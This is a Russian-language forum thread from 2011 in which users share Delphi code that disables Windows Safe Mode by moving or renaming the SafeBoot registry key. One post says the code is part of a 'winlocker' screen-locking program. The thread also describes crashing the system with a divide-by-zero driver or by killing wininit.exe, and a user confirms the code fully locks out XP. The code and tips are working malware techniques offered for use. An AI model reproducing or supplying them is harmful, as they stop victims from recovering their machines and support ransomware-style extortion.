| Запрет безопастного режима или экран смерти | 
|  | 
| 
| Just_Crow | Дата: Вторник, 16.08.2011, 18:57 | Сообщение # 1 |  |   Частый гостьЗарегистрирован: 13.08.2011 Группа: Пользователи Сообщений: 27 Статус: Offline | Code KeyPreview:=true; reg:=TRegistry.Create;
 reg.RootKey:=HKEY_LOCAL_MACHINE;
 reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\minimal','System\CurrentControlSet\Control\SafeBoot\M',true);
 reg.MoveKey('System\CurrentControlSet\Control\SafeBoot\NetWork','System\CurrentControlSet\Control\SafeBoot\N',true);
 reg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run',True);
все прекрасно, но при тесте выяснилось что блокируется (на XP в частности) только безопастный режим с подержкой драйверов, а обычному трын трава | возможно ли чтобы отрубалось все?
 |  |  |  |  | 
| 
| Neo | Дата: Среда, 17.08.2011, 09:32 | Сообщение # 2 |  |   МодераторЗарегистрирован: 04.05.2010 Группа: Модераторы Сообщений: 317 Статус: Offline | Не знаю,как на счёт отрубки БР,то синий экран смерти я обеспечить могу  .Короче,пришлось написать для этого драйвер (правда он на С.Но кто виноват,что статьи по написанию драйверов в основном на С?) и приложение (на delphi,естественно).
 В драйвере я специально допустил такую ошибку:
 в момент загрузки беру число и делю его на нуль!Вот и вызывается BSOD.Для компиляции драйвера нужно использовать ddk.Я использовал 2600.1106.Вот исходничек:
 
 
 Сообщение отредактировал Neo - Среда, 17.08.2011, 09:33 |  |  |  |  | 
| 
| dolphin | Дата: Среда, 17.08.2011, 11:29 | Сообщение # 3 |  |   Администратор Сообщений: 906 Статус: Offline | Just_Crow, попробуй переименовать сам ключ SafeBoot, потому что названия minimal и NetWork говорят сами за себя. 
 а проэкран смерти - лично у меня на семёрке получилось схватить его делая таскил wininit.exe ))) чисто случайно в процессе разработки обнаружил. Думаю что и в хр найдётся подобный критический процесс
 
 Система: Windows 10 x64, Kali Linux
 Среды программирования: Delphi 7, Delphi 10.x
 
 Я не профессионал, я всего лишь любитель
 Я не вредитель, я всего лишь теоретик
 
 
 Сообщение отредактировал dolphin - Среда, 17.08.2011, 11:35 |  |  |  |  | 
| 
| Just_Crow | Дата: Среда, 17.08.2011, 12:23 | Сообщение # 4 |  |   Частый гостьЗарегистрирован: 13.08.2011 Группа: Пользователи Сообщений: 27 Статус: Offline | Quote (Neo) Не знаю,как на счёт отрубки БР,то синий экран смерти я обеспечить могу Мне надо чтобы только в Бр экран смерти))) а по твоему посту чет навеяло что мообще запускаться не будет не один режим :-D так? или ошибаюсь
 |  |  |  |  | 
| 
| Neo | Дата: Среда, 17.08.2011, 14:43 | Сообщение # 5 |  |   МодераторЗарегистрирован: 04.05.2010 Группа: Модераторы Сообщений: 317 Статус: Offline | Я просто показал как можно вызвать BSOD.А если ,то это легко)))Quote Мне надо чтобы только в Бр экран смертиВот:
 
 Code Procedure SafeBoot(Block: Boolean); {true -заблочить,false - разблочить} Var Reg:TRegistry;
 Begin
 Reg:=TRegistry.Create;
 Try
 Reg.RootKey:=HKEY_LOCAL_MACHINE;
 Reg.OpenKey('SYSTEM\CurrentControlSet\Control',True);
 If Block Then
 Begin
 Reg.MoveKey('SafeBoot','SystemNls',True);
 Reg.Free;
 End    Else
 Begin
 Reg.MoveKey('SystemNls','SafeBoot', True);
 Reg.Free;
 End;
 Except
 Reg.Free;
 End;
 End;
Я сделал пример на том винлокере,вот как будет:
 P.S интересные модули
 
 
 Сообщение отредактировал Neo - Среда, 17.08.2011, 14:44 |  |  |  |  | 
| 
| Just_Crow | Дата: Среда, 17.08.2011, 19:16 | Сообщение # 6 |  |   Частый гостьЗарегистрирован: 13.08.2011 Группа: Пользователи Сообщений: 27 Статус: Offline | Neo, еще раз благодарю! лучше и быть не может хпишку блочит на смерть |  |  |  |  |